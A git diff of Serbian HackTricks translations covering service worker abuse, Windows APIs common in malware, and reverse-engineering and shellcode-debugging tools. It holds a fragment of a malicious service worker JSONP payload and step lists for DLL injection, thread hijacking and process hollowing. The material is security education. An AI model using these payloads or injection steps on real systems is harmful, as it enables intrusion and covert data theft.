* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,23 +24,23 @@
## Osnovne informacije
**Servisni radnik** je skripta koju pokreće vaš pregledač u pozadini, odvojeno od bilo koje web stranice, omogućavajući funkcije koje ne zahtevaju web stranicu ili interakciju korisnika, čime se poboljšavaju mogućnosti **offline i obrade u pozadini**. Detaljne informacije o servisnim radnicima mogu se pronaći [ovde](https://developers.google.com/web/fundamentals/primers/service-workers). Iskorišćavanjem servisnih radnika unutar ranjive web domene, napadači mogu preuzeti kontrolu nad interakcijama žrtve sa svim stranicama unutar te domene.
**Servisni radnik** je skripta koju vaš pretraživač pokreće u pozadini, odvojeno od bilo koje veb stranice, omogućavajući funkcije koje ne zahtevaju veb stranicu ili interakciju korisnika, čime se poboljšavaju mogućnosti **offline i obrade u pozadini**. Detaljne informacije o servisnim radnicima mogu se pronaći [ovde](https://developers.google.com/web/fundamentals/primers/service-workers). Iskorišćavanjem servisnih radnika unutar ranjive veb domene, napadači mogu preuzeti kontrolu nad interakcijama žrtve sa svim stranicama unutar te domene.
### Provera postojanja servisnih radnika
Postojeće servisne radnike možete proveriti u odeljku **Servisni radnici** u kartici **Aplikacija** u **Alatkama za razvoj**. Drugi način je posetiti [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) za detaljniji prikaz.
Postojeće servisne radnike možete proveriti u odeljku **Servisni radnici** u **Aplikaciji** kartici u **Alatkama za razvoj**. Drugi način je posetiti [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) za detaljniji prikaz.
### Obaveštenja o guranju
**Dozvole za obaveštenja o guranju** direktno utiču na sposobnost **servisnog radnika** da komunicira sa serverom bez direktnog korisničkog interakcije. Ako su dozvole odbijene, ograničava potencijal servisnog radnika da predstavlja kontinuiranu pretnju. Nasuprot tome, davanje dozvola povećava rizike bezbednosti omogućavajući prijem i izvršenje potencijalnih eksploatacija.
## Napad kreiranje servisnog radnika
## Napad kreiranja servisnog radnika
Da biste iskoristili ovu ranjivost, morate pronaći:
* Način za **učitavanje proizvoljnih JS** fajlova na server i **XSS za učitavanje servisnog radnika** učitanog JS fajla
* **Ranjiv JSONP zahtev** gde možete **manipulisati izlazom (sa proizvoljnim JS kodom)** i **XSS** za **učitavanje JSONP-a sa payloadom** koji će **učitati zlonamernog servisnog radnika**.
* **Ranjiv JSONP zahtev** gde možete **manipulisati izlazom (sa proizvoljnim JS kodom)** i **XSS** za **učitavanje JSONP sa payloadom** koji će **učitati zlonamernog servisnog radnika**.
U sledećem primeru ću prikazati kod za **registrovanje novog servisnog radnika** koji će osluškivati događaj `fetch` i **slati serveru napadača svaki preuzeti URL** (ovo je kod koji biste trebali **učitati** na **server** ili učitati putem **ranjivog JSONP** odgovora):
```javascript
@ -73,11 +73,11 @@ var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.requ
```
Postoji **C2** posvećen **eksploataciji servisnih radnika** nazvan [**Shadow Workers**](https://shadow-workers.github.io) koji će biti vrlo koristan za zloupotrebu ovih ranjivosti.
Direktiva **keširanja od 24 sata** ograničava život zlonamernog ili kompromitovanog **servisnog radnika (SW)** na najviše 24 sata nakon popravke ranjivosti XSS-a, uz pretpostavku da je klijent online. Da bi se smanjila ranjivost, operateri sajtova mogu smanjiti vreme života skripte SW-a (TTL). Razvojni programeri takođe treba da kreiraju [**prekidač za gašenje servisnog radnika**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) za brzo deaktiviranje.
Direktiva **keša od 24 sata** ograničava život zlonamernog ili kompromitovanog **servisnog radnika (SW)** na najviše 24 sata nakon popravke ranjivosti XSS-a, uz pretpostavku statusa online klijenta. Da bi se smanjila ranjivost, operateri sajtova mogu smanjiti vreme života skripte SW-a (TTL). Razvojni programeri takođe se savetuju da kreiraju [**prekidač za gašenje servisnog radnika**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) za brzo deaktiviranje.
## Zloupotreba `importScripts` u SW putem DOM Clobbering
Funkcija **`importScripts`** pozvana iz Servisnog Radnika može **uvesti skriptu sa različite domene**. Ako se ova funkcija pozove koristeći **parametar koji napadač može** modifikovati, on bi mogao **uvoziti JS skriptu sa svoje domene** i dobiti XSS.
Funkcija **`importScripts`** pozvana iz Servisnog Radnika može **uvoziti skriptu sa različite domene**. Ako se ova funkcija pozove koristeći **parametar koji napadač može** modifikovati, on bi mogao **uvoziti JS skriptu sa svoje domene** i dobiti XSS.
**Ovo čak zaobilazi CSP zaštite.**
@ -115,7 +115,7 @@ Za primer pogledajte referentni link.
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -123,10 +123,10 @@ Za primer pogledajte referentni link.
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,4 +1,4 @@
# Često korišćene API u Malveru
# Često korišćeni API u Malveru
<details>
@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,66 +26,66 @@ Drugi načini podrške HackTricks-u:
### Mreža
| Sirovi Sockets | WinAPI Sockets |
| -------------- | -------------- |
| socket() | WSAStratup() |
| bind() | bind() |
| listen() | listen() |
| accept() | accept() |
| connect() | connect() |
| read()/recv() | recv() |
| write() | send() |
| shutdown() | WSACleanup() |
| Raw Sockets | WinAPI Sockets |
| ------------- | -------------- |
| socket() | WSAStratup() |
| bind() | bind() |
| listen() | listen() |
| accept() | accept() |
| connect() | connect() |
| read()/recv() | recv() |
| write() | send() |
| shutdown() | WSACleanup() |
### Upornost
| Registar | Fajl | Servis |
| ----------------- | ------------- | --------------------------- |
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
| RegOpenKeyEx() | CopyFile() | CreateService() |
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher()|
| RegDeleteKeyEx() | WriteFile() | |
| RegGetValue() | ReadFile() | |
| Registar | Fajl | Servis |
| ---------------- | ------------- | ---------------------------- |
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
| RegOpenKeyEx() | CopyFile() | CreateService() |
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
| RegDeleteKeyEx() | WriteFile() | |
| RegGetValue() | ReadFile() | |
### Enkripcija
| Ime |
| -------------------- |
| WinCrypt |
| CryptAcquireContext()|
| CryptGenKey() |
| CryptDeriveKey() |
| CryptDecrypt() |
| CryptReleaseContext()|
| --------------------- |
| WinCrypt |
| CryptAcquireContext() |
| CryptGenKey() |
| CryptDeriveKey() |
| CryptDecrypt() |
| CryptReleaseContext() |
### Anti-Analiza/VM
| Ime Funkcije | Skup Instrukcija |
| -------------------------------------------------------- | ---------------- |
| IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| CreateToolhelp32Snapshot \[Provera da li je proces pokrenut] | |
| CreateFileW/A \[Provera da li fajl postoji] | |
| --------------------------------------------------------- | ---------------- |
| IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| CreateToolhelp32Snapshot \[Provera da li je proces pokrenut] | |
| CreateFileW/A \[Provera da li fajl postoji] | |
### Skrivanje
| Ime | |
| ----------------------- | -------------------------------------------------------------------------- |
| VirtualAlloc | Alocira memoriju (paketi) |
| VirtualProtect | Menja dozvole memorije (paket daje dozvolu za izvršenje sekcije) |
| ReadProcessMemory | Ubrizgavanje u spoljne procese |
| WriteProcessMemoryA/W | Ubrizgavanje u spoljne procese |
| NtWriteVirtualMemory | |
| CreateRemoteThread | Ubrizgavanje DLL-a/procesa... |
| NtUnmapViewOfSection | |
| QueueUserAPC | |
| CreateProcessInternalA/W| |
| ------------------------ | -------------------------------------------------------------------------- |
| VirtualAlloc | Alocira memoriju (paketi) |
| VirtualProtect | Menja dozvole memorije (paket daje dozvolu za izvršenje sekciji) |
| ReadProcessMemory | Ubrizgavanje u spoljne procese |
| WriteProcessMemoryA/W | Ubrizgavanje u spoljne procese |
| NtWriteVirtualMemory | |
| CreateRemoteThread | Ubrizgavanje DLL/procesa... |
| NtUnmapViewOfSection | |
| QueueUserAPC | |
| CreateProcessInternalA/W | |
### Izvršenje
| Ime Funkcije |
| Ime Funkcije |
| ---------------- |
| CreateProcessA/W |
| ShellExecute |
@ -110,7 +110,7 @@ Drugi načini podrške HackTricks-u:
### Ubrizgavanje DLL-a
Izvršava proizvoljan DLL unutar drugog procesa
Izvršava proizvoljni DLL unutar drugog procesa
1. Locirajte proces za ubrizgavanje zlonamernog DLL-a: CreateToolhelp32Snapshot, Process32First, Process32Next
2. Otvorite proces: GetModuleHandle, GetProcAddress, OpenProcess
@ -130,13 +130,13 @@ Pronađite nit iz procesa i naterajte je da učita zlonamerni DLL
1. Pronađite ciljnu nit: CreateToolhelp32Snapshot, Thread32First, Thread32Next
2. Otvorite nit: OpenThread
3. Pauzirajte nit: SuspendThread
4. Napišite putanju do zlonamernog DLL-a unutar procesa žrtve: VirtualAllocEx, WriteProcessMemory
3. Suspendujte nit: SuspendThread
4. Napišite putanju do zlonamernog DLL-a unutar žrtvenog procesa: VirtualAllocEx, WriteProcessMemory
5. Nastavite nit koja učitava biblioteku: ResumeThread
### PE Ubrizgavanje
Ubrizgavanje Portable Execution: Izvršni fajl će biti napisan u memoriji procesa žrtve i izvršavaće se odande.
Ubrizgavanje Portable Execution: Izvršni fajl će biti napisan u memoriji žrtvenog procesa i izvršavaće se odatle.
### Procesno Ispraznjenje
@ -152,13 +152,13 @@ Malver će ukloniti legitimni kod iz memorije procesa i učitati zlonamerni bina
* **SSDT** (**Tabela Deskriptora Sistemskih Servisa**) pokazuje na funkcije jezgra (ntoskrnl.exe) ili GUI drajvera (win32k.sys) tako da korisnički procesi mogu pozvati ove funkcije.
* Rootkit može modifikovati ove pokazivače na adrese koje kontroliše
* **IRP** (**I/O Zahtevni Paketi**) prenose delove podataka od jedne komponente do druge. Skoro sve u jezgru koristi IRP-ove i svaki objekat uređaja ima svoju funkcionalnu tabelu koja može biti hakovana: DKOM (Direktno Manipulisanje Objektima Jezgra)
* **IAT** (**Tabela Adresa Uvoza**) je korisna za rešavanje zavisnosti. Moguće je hakovati ovu tabelu kako bi se preusmerio kod koji će biti pozvan.
* **IAT** (**Tabela Adresa Uvoza**) je korisna za rešavanje zavisnosti. Moguće je hakovati ovu tabelu kako bi se preotela koda koja će biti pozvana.
* **EAT** (**Tabela Adresa Izvoza**) Hakovi. Ovi hakovi mogu biti urađeni iz **userland-a**. Cilj je hakovati izvožene funkcije od strane DLL-ova.
* **Inline Hakovi**: Ovaj tip je teško postići. Uključuje modifikovanje samog koda funkcija. Možda postavljanjem skoka na početku ovoga.
* **Inline Hakovi**: Ovaj tip je teško postići. Uključuje modifikovanje koda funkcija samih. Možda postavljanjem skoka na početku ovoga.
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -168,7 +168,7 @@ Malver će ukloniti legitimni kod iz memorije procesa i učitati zlonamerni bina
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -45,9 +45,9 @@ Softver:
### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeek je dekompajler koji **dekompajlira i analizira više formata**, uključujući **biblioteke** (.dll), **Windows metapodatkovne datoteke** (.winmd) i **izvršne datoteke** (.exe). Nakon dekompajliranja, skup može biti sačuvan kao Visual Studio projekat (.csproj).
dotPeek je dekompajler koji **dekompajlira i analizira više formata**, uključujući **biblioteke** (.dll), **Windows metapodatke** (.winmd) i **izvršne datoteke** (.exe). Nakon dekompajliranja, skup može biti sačuvan kao Visual Studio projekat (.csproj).
Prednost ovde je da ako izgubljeni izvorni kod zahteva obnovu iz nasleđene skupštine, ova akcija može uštedeti vreme. Osim toga, dotPeek pruža korisnu navigaciju kroz dekompajlirani kod, čineći ga jednim od savršenih alata za **Xamarin analizu algoritma.**
Prednost ovde je da ako izgubljeni izvorni kod zahteva obnovu iz nasleđene skupštine, ova akcija može uštedeti vreme. Nadalje, dotPeek pruža korisnu navigaciju kroz dekompajlirani kod, čineći ga jednim od savršenih alata za **Xamarin analizu algoritma.**
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
@ -63,11 +63,11 @@ Sa sveobuhvatnim modelom dodataka i API-jem koji proširuje alat da odgovara va
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[ILSpy dodatak za Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Možete ga imati na bilo kom OS-u (možete ga instalirati direktno iz VSCode-a, nije potrebno preuzimanje sa gita. Kliknite na **Extensions** i **pretražite ILSpy**).\
Ako trebate **dekompajlirati**, **izmeniti** i **ponovo kompajlirati** možete koristiti [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) ili aktivno održavanu verziju, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Desni klik -> Izmeni metod** da promenite nešto unutar funkcije).
Ako trebate **dekompajlirati**, **izmeniti** i **ponovo kompajlirati** možete koristiti [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) ili aktivno održanu verziju, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Desni klik -> Izmeni Metodu** da promenite nešto unutar funkcije).
### DNSpy Logging
Da biste omogućili **DNSpy-u da zabeleži neke informacije u datoteku**, možete koristiti ovaj isječak:
Da biste omogućili **DNSpy-u da beleži neke informacije u datoteku**, možete koristiti ovaj isječak:
```cs
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
@ -141,7 +141,7 @@ Desni klik na bilo koji modul u **Assembly Exploreru** i kliknite na **Sort Asse
![](<../../.gitbook/assets/image (135).png>)
* Konfigurišite **parametre** izvršenja postavljajući **putanju do DLL-a** i funkciju koju želite pozvati:
* Konfigurišite **parametre** izvršenja postavljajući **putanju do DLL-a** i funkciju koju želite da pozovete:
![](<../../.gitbook/assets/image (136).png>)
@ -152,11 +152,11 @@ Ali, kako možete pristupiti kodu DLL-a koji je učitan? Korišćenjem ovog meto
### Korišćenje x64dbg/x32dbg
* **Učitajte rundll32** (64-bitni u C:\Windows\System32\rundll32.exe i 32-bitni u C:\Windows\SysWOW64\rundll32.exe)
* **Promenite Command Line** ( _File --> Change Command Line_ ) i postavite putanju do DLL-a i funkciju koju želite pozvati, na primer: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* **Promenite Command Line** ( _File --> Change Command Line_ ) i postavite putanju do DLL-a i funkciju koju želite da pozovete, na primer: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* Promenite _Options --> Settings_ i izaberite "**DLL Entry**".
* Zatim **pokrenite izvršenje**, debager će se zaustaviti na svakom dll main, u nekom trenutku ćete **zastati u dll Entry vašeg dll-a**. Odande, jednostavno tražite tačke gde želite postaviti prekid.
Primetite da kada je izvršenje zaustavljeno iz bilo kog razloga u win64dbg-u možete videti **u kojem kodu se nalazite** gledajući u **vrhu prozora win64dbg**:
Primetite da kada je izvršenje zaustavljeno iz bilo kog razloga u win64dbg možete videti **u kojem kodu se nalazite** gledajući u **vrhu prozora win64dbg**:
![](<../../.gitbook/assets/image (137).png>)
@ -178,7 +178,7 @@ Zatim, gledajući ovo, možete videti kada je izvršenje zaustavljeno u dll-u ko
### Debagovanje shellkoda sa blobrunnerom
[**Blobrunner**](https://github.com/OALabs/BlobRunner) će **dodeliti** shellkod unutar prostora memorije, **pokazati** vam **adresu memorije** gde je shellkod dodeljen i **zaustaviti** izvršenje.\
[**Blobrunner**](https://github.com/OALabs/BlobRunner) će **dodeliti** **shellkod** unutar prostora memorije, **pokazati** vam **adresu memorije** gde je shellkod dodeljen i **zaustaviti** izvršenje.\
Zatim, treba da **povežete debager** (Ida ili x64dbg) sa procesom i postavite **prekid na označenu adresu memorije** i **nastavite** izvršenje. Na ovaj način ćete debagovati shellkod.
Stranica sa izdanjima na githubu sadrži zipove sa kompilovanim izdanjima: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
@ -190,7 +190,7 @@ Možete pronaći malo izmenjenu verziju Blobrunnera na sledećem linku. Da biste
### Debagovanje shellkoda sa jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)je vrlo sličan blobrunneru. On će **dodeliti** shellkod unutar prostora memorije i pokrenuti **večnu petlju**. Zatim treba da **povežete debager** sa procesom, **pokrenete, sačekate 2-5 sekundi i pritisnete stop** i naći ćete se unutar **večne petlje**. Skočite na sledeću instrukciju večne petlje jer će to biti poziv shellkodu, i na kraju ćete se naći kako izvršavate shellkod.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)je vrlo sličan blobrunneru. **Dodeliće** **shellkod** unutar prostora memorije i pokrenuti **večnu petlju**. Zatim treba da **povežete debager** sa procesom, **pokrenete, sačekate 2-5 sekundi i pritisnete stop** i naći ćete se unutar **večne petlje**. Skočite na sledeću instrukciju večne petlje jer će biti poziv shellkodu, i na kraju ćete se naći kako izvršavate shellkod.
![](<../../.gitbook/assets/image (397).png>)
@ -198,7 +198,7 @@ Možete preuzeti kompilovanu verziju [jmp2it sa stranice sa izdanjima](https://g
### Debagovanje shellkoda korišćenjem Cutter-a
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) je GUI za radare. Korišćenjem Cutter-a možete emulirati shellkod i dinamički ga inspicirati.
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) je GUI za radare. Korišćenjem Cutter-a možete emulirati shellkod i dinamički ga pregledati.
Imajte na umu da Cutter omogućava "Otvori datoteku" i "Otvori shellkod". U mom slučaju, kada sam otvorio shellkod kao datoteku, dekompajlirao ga je ispravno, ali kada sam ga otvorio kao shellkod, nije:
@ -232,7 +232,7 @@ scDbg takođe ima grafički pokretač gde možete izabrati opcije koje želite i
Opcija **Create Dump** će izbaciti konačni shellcode ako je bilo kakva promena urađena na shellcode-u dinamički u memoriji (korisno za preuzimanje dekodiranog shellcode-a). **Start offset** može biti koristan da se shellcode pokrene na određenom offsetu. Opcija **Debug Shell** je korisna za debugovanje shellcode-a koristeći scDbg terminal (međutim, smatram da su bilo koje od opcija objašnjenih ranije bolje za ovu svrhu jer ćete moći koristiti Ida ili x64dbg).
### Disasembliranje korišćenjem CyberChefa
### Disassembling korišćenjem CyberChefa
Otpremite svoj fajl sa shellcode-om kao ulaz i koristite sledeći recept za dekompilaciju: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
@ -250,7 +250,7 @@ apt-get install libz3-dev
```
I [instaliraj keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
Ako igrate **CTF, ovaj workaround za pronalaženje zastave** može biti veoma koristan: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
Ako igrate **CTF, ovaj trik za pronalaženje zastave** može biti veoma koristan: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
## Rust
@ -265,19 +265,19 @@ Imajući **ime** **funkcija** koje se pozivaju, pretražite ih na **Internetu**
Za Delphi kompilovane binarne fajlove možete koristiti [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
Ako morate da obrnete Delphi binarni fajl, predlažem vam da koristite IDA plugin [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
Ako morate da rešite Delphi binarni fajl, predlažem vam da koristite IDA dodatak [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
Samo pritisnite **ATL+f7** (uvozite python plugin u IDA) i izaberite python plugin.
Samo pritisnite **ATL+f7** (uvozite python dodatak u IDA) i izaberite python dodatak.
Ovaj plugin će izvršiti binarni fajl i dinamički rešiti imena funkcija na početku debagovanja. Nakon pokretanja debagovanja ponovo pritisnite dugme Start (zelena strelica ili f9) i prekidna tačka će biti postavljena na početku stvarnog koda.
Ovaj dodatak će izvršiti binarni fajl i dinamički rešiti imena funkcija na početku debagovanja. Nakon pokretanja debagovanja ponovo pritisnite dugme Start (zelena strelica ili f9) i prekidna tačka će biti postavljena na početku stvarnog koda.
Takođe je veoma interesantno jer ako pritisnete dugme u grafičkoj aplikaciji, debager će se zaustaviti u funkciji koju izvršava to dugme.
## Golang
Ako morate da obrnete Golang binarni fajl, predlažem vam da koristite IDA plugin [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
Ako morate da rešite Golang binarni fajl, predlažem vam da koristite IDA dodatak [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
Samo pritisnite **ATL+f7** (uvozite python plugin u IDA) i izaberite python plugin.
Samo pritisnite **ATL+f7** (uvozite python dodatak u IDA) i izaberite python dodatak.
Ovo će rešiti imena funkcija.
@ -302,7 +302,7 @@ U [**no$gba**](https://problemkaputt.de/gba.htm), u _**Options --> Emulation Set
![](<../../.gitbook/assets/image (578).png>)
Kada se pritisne, svako **dugme ima vrednost** koja ga identifikuje:
Kada se pritisne, svaki **taster ima vrednost** za identifikaciju:
```
A = 1
B = 2
@ -315,7 +315,7 @@ DOWN = 128
R = 256
L = 256
```
Dakle, u ovakvom programu, interesantan deo će biti **kako program tretira korisnički unos**. Na adresi **0x4000130** pronaći ćete često korišćenu funkciju: **KEYINPUT**.
Dakle, u ovakvom programu, interesantan deo će biti **kako program tretira korisnički unos**. Na adresi **0x4000130** nalazi se često korišćena funkcija: **KEYINPUT**.
![](<../../.gitbook/assets/image (579).png>)
@ -387,10 +387,10 @@ U prethodnom kodu možete videti da upoređujemo **uVar1** (mesto gde je **vredn
* Prvo se upoređuje sa **vrednošću 4** (dugme **SELECT**): U izazovu ovo dugme čisti ekran
* Zatim se upoređuje sa **vrednošću 8** (dugme **START**): U izazovu se proverava da li je kod validan za dobijanje zastave.
* U ovom slučaju se varijabla **`DAT_030000d8`** upoređuje sa 0xf3 i ako je vrednost ista, izvršava se određeni kod.
* U svim ostalim slučajevima se proverava neki cont (`DAT_030000d4`). To je cont jer se dodaje 1 odmah nakon unosa koda.\
Ako je manje od 8, nešto što uključuje **dodavanje** vrednosti u **`DAT_030000d8`** se radi (u osnovi se dodaju vrednosti pritisnutih tastera u ovu varijablu dok je cont manji od 8).
* U svim ostalim slučajevima se proverava neka kont (`DAT_030000d4`). To je kont jer se dodaje 1 odmah nakon unosa koda.\
Ako je manje od 8, nešto što uključuje **dodavanje** vrednosti u **`DAT_030000d8`** se radi (u osnovi se dodaju vrednosti pritisnutih tastera u ovu promenljivu dok je kont manji od 8).
Dakle, u ovom izazovu, znajući vrednosti dugmadi, trebalo je **pritisnuti kombinaciju sa dužinom manjom od 8 čija rezultujuća suma bude 0xf3.**
Dakle, u ovom izazovu, znajući vrednosti dugmadi, trebalo je **pritisnuti kombinaciju dužine manje od 8 čija rezultujuća suma bude 0xf3.**
**Reference za ovaj tutorijal:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
@ -405,7 +405,7 @@ Dakle, u ovom izazovu, znajući vrednosti dugmadi, trebalo je **pritisnuti kombi
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
